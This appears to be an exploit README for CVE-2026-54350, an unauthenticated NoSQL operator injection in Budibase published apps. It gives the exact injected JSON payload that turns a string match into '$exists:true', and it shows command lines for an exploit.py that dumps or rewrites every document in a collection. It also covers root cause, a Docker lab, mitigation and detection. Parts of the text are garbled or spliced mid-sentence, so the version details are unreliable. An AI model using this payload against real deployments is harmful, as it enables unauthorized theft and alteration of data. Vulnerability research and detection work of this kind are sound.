Share
## https://sploitus.com/exploit?id=E7208285-7740-58AA-9601-BD03EDB2275F
# CVE-2026-54350 โ€” Budibase Unauthenticated NoSQL Operator Injection

Unauthenticated JSON/NoSQL operator injection in Budibase. Any anonymous
visitor of a published Budibase app that exposes a **PUBLIC** query backed by a
document datasource (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST
with a JSON body) can **read every document** of the backing collection and, if
a public write query exists, **modify every document** โ€” with a single
unauthenticated HTTP request.

| | |
|---|---|
| **CVE** | CVE-2026-54350 |
| **Advisory** | [GHSA-8qv3-p479-cj62](https://github.com/Budibase/budibase/security/advisories/GHSA-8qv3-p479-cj62) |
| **CVSS 3.1** | 10.0 โ€” `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` |
| **CWE** | CWE-943 (Improper Neutralization of Special Elements in a Data Query), CWE-89 |
| **Auth** | None (unauthenticated) |
| **Affected** | Budibase ` }, { noEscaping: true })
  enrichedQuery.json = JSON.parse(enrichedQuery.json)
```

On affected builds the parameter is interpolated **without JSON-escaping**, so a
value containing a `"` closes the intended string and injects sibling keys into
the parsed object. The only input filter, `validateQueryInputs()`
(`api/controllers/query/index.ts`), rejects **only** Handlebars markers
(`{{`, `}}`) โ€” it does not touch `"`, `\`, `}` or `$`.

For a MongoDB `find`, the parsed object is passed straight to
`collection.find()` (`integrations/mongodb.ts`). A duplicate `name` key whose
value is an operator object wins the `JSON.parse` merge, turning a string
equality into `{$exists: true}` and returning the whole collection. The same
primitive against an `updateMany` query widens the filter to every document.

Access control is bypassed because `authorized()`
(`middleware/authorized.ts:141`) short-circuits with `return next()` when the
query's resource role is `PUBLIC`, skipping both session auth and CSRF. The
`x-budibase-app-id` header needed to reach the query is public โ€” it is part of
every published-app URL.

See [`ANALYSIS.md`](ANALYSIS.md) for the full code-level walkthrough and the
version-boundary investigation.

## The payload

Query body template (as configured in the builder):

```json
{"name":"{{ name }}"}
```

Injected value for the `name` parameter:

```
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
```

After interpolation and `JSON.parse` (duplicate-key merge, last wins):

```json
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
```

`$comment` is an inert MongoDB meta-operator that absorbs the template's
trailing `"}` so the whole body stays valid JSON.

## Exploit

`exploit.py` โ€” Python 3 standard library only, no dependencies.

```
# Dump the whole collection through a PUBLIC read (find) query
python3 exploit.py --url http://target --app-id app_ \
    --query-id query_ --mode read

# Modify every document through a PUBLIC updateMany query
python3 exploit.py --url http://target --app-id app_ \
    --query-id query_ --mode write
```

`--app-id` and `--query-id` are public values observed in the published app's
own API traffic. `--field` overrides the JSON key the parameter is bound to
(defaults to `--param`).

## Reproduce

Requires Docker. This lab uses `--network host` (no bridge network assumed) and
`mongo:4.4` (the host has no AVX; MongoDB 5.0+ requires it).

```
bash lab/setup.sh
# prints PROD_APP_ID / READ_QUERY / UPDATE_QUERY, then:
python3 exploit.py --url http://127.0.0.1 --app-id  \
    --query-id  --mode read
```

`lab/provision.py` drives only legitimate builder APIs โ€” it does not weaken any
default. Marking a query's access role `PUBLIC` is a first-class builder feature
(published apps expose data through exactly this mechanism). Full captured run
in [`EVIDENCE.txt`](EVIDENCE.txt).

## A note on the affected version

NVD lists the affected range as `= 3.39.12`, or at minimum `>= 3.39.9`
  where `processJsonStringSync` JSON-escapes interpolated parameters).
- Audit published apps for queries whose access role is `PUBLIC`; restrict them
  to authenticated roles where possible.
- For document datasources, prefer parameterized queries over string-templated
  JSON bodies.

## Detection

Look for `POST /api/v2/queries/` requests, from unauthenticated sessions,
whose `parameters` values contain a `"` followed by a `$`-prefixed MongoDB
operator (`$exists`, `$ne`, `$gt`, `$where`, `$regex`, ...) or a duplicate JSON
key. On MongoDB, enable profiling and alert when a query parameter that is
normally a string arrives as an object.

## Credits

Research and PoC by **Caio Fabrรญcio** ([@BiiTts](https://github.com/BiiTts)).